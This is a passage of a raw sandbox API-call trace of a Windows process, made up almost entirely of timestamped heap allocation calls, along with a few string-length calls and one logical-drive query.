Flags=0x0, Ptr=0x6e53f0, Size=0x20) returned 0x6dec78 [0045.959] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6dec78, Size=0x40) returned 0x6ba2b8 [0045.959] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0045.959] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xd0) returned 0x6ba970 [0045.959] GetLogicalDrives () returned 0x4 [0045.959] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10014) returned 0x6e7700 [0045.959] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e5390 [0045.959] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5390, Size=0x20) returned 0x6de908 [0045.959] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de908, Size=0x40) returned 0x6ba078 [0045.960] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ba078, Size=0x80) returned 0x6e4b78 [0045.960] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e4b78, Size=0x100) returned 0x6e5fd0 [0045.960] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5fd0, Size=0x200) returned 0x6e5fd0 [0045.960] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5fd0, Size=0x400) returned 0x6e5fd0 [0045.960] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5fd0, Size=0x800) returned 0x6f7720 [0045.960] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6f7720, Size=0x1000) returned 0x6f7720 [0045.960] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x6f8728 [0045.960] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e5180 [0045.960] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x6e5300 [0045.960] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6e34d0 [0045.960] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x6e53f0 [0045.960] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6e3430 [0045.960] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e5438 [0045.960] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3430, Size=0x8) returned 0x6e3480 [0045.960] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e5450 [0045.960] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3480, Size=0x10) returned 0x6e52e8 [0045.960] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e5330 [0045.960] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e5348 [0045.960] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e52e8, Size=0x20) returned 0x6de868 [0045.960] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e5198 [0045.960] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6e34b0 [0045.960] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xe) returned 0x6e5288 [0045.960] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xe) returned 0x6e52d0 [0045.960] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de868, Size=0x40) returned 0x6ba390 [0045.960] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xe) returned 0x6e51b0 [0045.960] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xe) returned 0x6e5360 [0045.960] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xe) returned 0x6e5390 [0045.960] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xe) returned 0x6e52a0 [0045.960] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e5378 [0045.960] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e51c8 [0045.960] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6e33d0 [0045.960] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e51e0 [0045.960] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ba390, Size=0x80) returned 0x6e4e20 [0045.960] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e52b8 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e51f8 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e5210 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e52e8 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e5480 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x6e5498 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e54b0 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6e34c0 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e54f8 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e5510 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x6e54e0 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e54c8 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x6e5528 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e5468 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x708bc8 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708ac0 [0045.961] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e4e20, Size=0x100) returned 0x6e5fd0 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708c58 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708b80 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708b20 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x708c10 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708b50 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708c70 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6e3500 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708c40 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708b98 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708cd0 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6) returned 0x6e3480 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708cb8 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708a90 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6e3380 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708b68 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708ce8 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x708d30 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708a60 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708aa8 [0045.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708b08 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xe) returned 0x708be0 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708bf8 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x708d00 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708c28 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708c88 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708ca0 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708d48 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6e3430 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708bb0 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708b38 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708d18 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708a78 [0045.962] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5fd0, Size=0x200) returned 0x6e5fd0 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708ad8 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6e33f0 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708af0 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708ee0 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708dd8 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708df0 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708da8 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708e80 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708e98 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708ef8 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708e08 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x708eb0 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x708f10 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708e38 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708d78 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x708e20 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x708dc0 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708e50 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x708e68 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x708ec8 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708d60 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708d90 [0045.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708988 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6e3470 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7089e8 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708790 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708880 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6e3450 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7087a8 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x708a18 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7089a0 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7088f8 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7089b8 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708970 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708910 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708a48 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x708a00 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x7089d0 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7087c0 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708a30 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7088e0 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x708760 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708940 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708778 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7087d8 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7087f0 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708808 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708868 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708820 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6e3410 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6) returned 0x6e3510 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708838 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708850 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708898 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7088b0 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7088c8 [0045.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x708928 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708958 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709490 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7093b8 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709298 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x7092e0 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709430 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709340 [0045.964] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5fd0, Size=0x400) returned 0x6e5fd0 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709448 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7093d0 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x709520 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7094a8 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7094c0 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7093e8 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x7094d8 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7092b0 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7094f0 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709508 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6e33a0 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709550 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x709538 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709358 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709268 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709280 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7092c8 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xe) returned 0x709370 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709400 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7092f8 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709310 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709418 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709460 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7093a0 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709328 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709388 [0045.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6e3400 [0045.965] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709478 [0045.965] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709598 [0045.965] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7096b8 [0045.965] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709670 [0045.965] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7095f8 [0045.965] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7095e0 [0045.965] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709610 [0045.965] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7096e8 [0045.965] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709568 [0045.965] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xe) returned 0x709688 [0045.965] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709628 [0045.965] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xe) returned 0x709640 [0045.965] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709700 [0045.965] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709580 [0045.965] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7095b0 [0045.965] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709658 [0045.965] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7096a0 [0045.965] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x709718 [0045.965] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7095c8 [0045.965] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7096d0 [0045.965] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709178 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709190 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709070 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709118 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709208 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709130 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708f68 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709010 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708f80 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7090d0 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708f98 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7090a0 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709058 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709220 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7090e8 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x709238 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x12) returned 0x6b51f0 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709160 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709148 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709100 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709250 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7091a8 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708fc8 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708fb0 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708fe0 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x708ff8 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7091c0 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709028 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7091d8 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7090b8 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709040 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7091f0 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709088 [0045.966] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709e60 [0045.967] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709e30 [0045.967] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709e78 [0045.967] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709e18 [0045.967] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x709d88 [0045.967] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x709d70 [0045.967] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x709da0 [0045.967] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xe) returned 0x709f08 [0045.967] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x709db8 [0045.967] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6e33b0 [0045.967] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709ec0 [0045.967] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6e3520 [0045.967] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709dd0 [0045.967] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709ed8 [0045.967] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709ef0 [0045.967] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x709de8 [0045.967] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x709e00 [0045.967] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709e48 [0045.967] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x709e90 [0045.967] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709f20 [0045.967] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709ea8 [0045.967] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x7098f0 [0045.967] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709770 [0045.967] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x709800 [0045.967] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x7099b0 [0045.967] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709a40 [0045.967] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6e3530 [0045.967] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709908 [0045.967] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x709998 [0045.967] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5fd0, Size=0x800) returned 0x709f48 [0045.968] lstrlenW 